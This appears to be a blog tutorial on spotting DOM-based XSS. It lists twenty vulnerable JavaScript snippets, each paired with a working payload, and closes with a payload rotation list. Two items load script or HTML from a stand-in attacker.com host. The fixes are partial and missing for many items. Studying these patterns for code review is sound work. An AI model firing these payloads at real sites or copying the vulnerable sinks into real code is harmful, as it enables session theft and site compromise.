If you're serious about finding DOM XSS in modern applications, you need to move beyond “search for innerHTML” and start thinking like a data-flow analyst.
1. Indirect Object Property Injection
let key = location.hash.substring(1);
let obj = { content: key };
document.body.innerHTML = obj.content;
Payload:
#<img src=x onerror=alert(1)>
Why it works:
The input is hidden inside an object, making it easy to miss.
How to think:
Track data even when it's wrapped in objects.
Fix:
document.body.textContent = obj.content;
2. Array Join Injection
let parts = [location.hash, " world"];
document.body.innerHTML = parts.join("");
Payload:
#<svg/onload=alert(1)>
Why it works:
Array operations don’t sanitize input.
Fix:
document.body.textContent = parts.join("");
3. replace() Callback Injection
let result = location.hash.replace(/x/g, () => '<img src=x onerror=alert(1)>');
document.body.innerHTML = result;
Payload:
#xxx
Why it works:
Developer introduces HTML dynamically.
4. Anchor href Injection
element.innerHTML = `<a href="${location.hash}">Click</a>`;
Payloads:
#javascript:alert(1)
#data:text/html,<script>alert(1)</script>
Why it works:
JavaScript URLs execute in browser context.
Fix:
if (!url.startsWith("https://")) return;
5. History API Injection
let page = location.search.split("=")[1];
history.pushState({}, "", page);
document.body.innerHTML = page;
Payload:
?page=<img src=x onerror=alert(1)>
6. Form Action Injection
form.innerHTML = `<form action="${location.hash}"></form>`;
Payload:
#javascript:alert(1)
Impact:
Form submits to attacker-controlled or JS URL.
7. CSS Injection → XSS
element.innerHTML = `<style>${location.hash}</style>`;
Payload:
#body{background:url("javascript:alert(1)")}
Why it works:
Some browsers interpret JS inside CSS.
8. onclick Attribute Injection
element.innerHTML = `<button onclick="${location.hash}">Click</button>`;
Payload:
#alert(1)
9. Dataset → eval Chain
element.innerHTML = `<div data-x="${location.hash}"></div>`;
let value = document.querySelector("div").dataset.x;
eval(value);
Payload:
#alert(1)
Why it works:
Multi-step execution chain.
10. outerHTML Replacement
element.outerHTML = location.hash;
Payload:
#<img src=x onerror=alert(1)>
11. Manual Query Parsing
let q = location.search.split("q=")[1];
document.body.innerHTML = q;
Payload:
?q=<svg/onload=alert(1)>
12. HTML Comment Breakout
element.innerHTML = `<!-- ${location.hash} -->`;
Payload:
#--><img src=x onerror=alert(1)>
Why it works:
Breaks out of comment context.
13. Template Literal Injection
let tpl = `<h1>${location.hash}</h1>`;
element.innerHTML = tpl;
Payload:
#<img src=x onerror=alert(1)>
14. iframe src Injection
iframe.src = location.hash;
Payloads:
#javascript:alert(1)
#data:text/html,<script>alert(1)</script>
15. Error Handling Injection
try {
throw location.hash;
} catch (e) {
document.body.innerHTML = e;
}
Payload:
#<img src=x onerror=alert(1)>
16. DOMParser Injection
let parser = new DOMParser();
let doc = parser.parseFromString(location.hash, "text/html");
document.body.appendChild(doc.body);
Payload:
#<img src=x onerror=alert(1)>
17. Dynamic Script Injection
let script = document.createElement("script");
script.src = location.hash;
document.body.appendChild(script);
Payload:
#https://attacker.com/x.js
18. Fetch → DOM Injection
fetch(location.hash)
.then(res => res.text())
.then(data => {
document.body.innerHTML = data;
});
Payload:
#https://attacker.com/payload.html
19. setTimeout String Execution
setTimeout(location.hash, 1000);
Payload:
#alert(1)
20. window.name Injection
document.body.innerHTML = window.name;
Attack Flow:
window.name = "<img src=x onerror=alert(1)>";
location = "https://target.com";
Final Mental Model
When reviewing JavaScript, always map:
SOURCE → TRANSFORMATION → SINK
Where:
- Source = location, storage, message, URL
- Transformation = decode, replace, parse
- Sink = innerHTML, eval, script, attributes
Payload Strategy
Don’t rely on one payload. Rotate between:
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
javascript:alert(1)
data:text/html,<script>alert(1)</script>
" onmouseover=alert(1) x="
Top comments (0)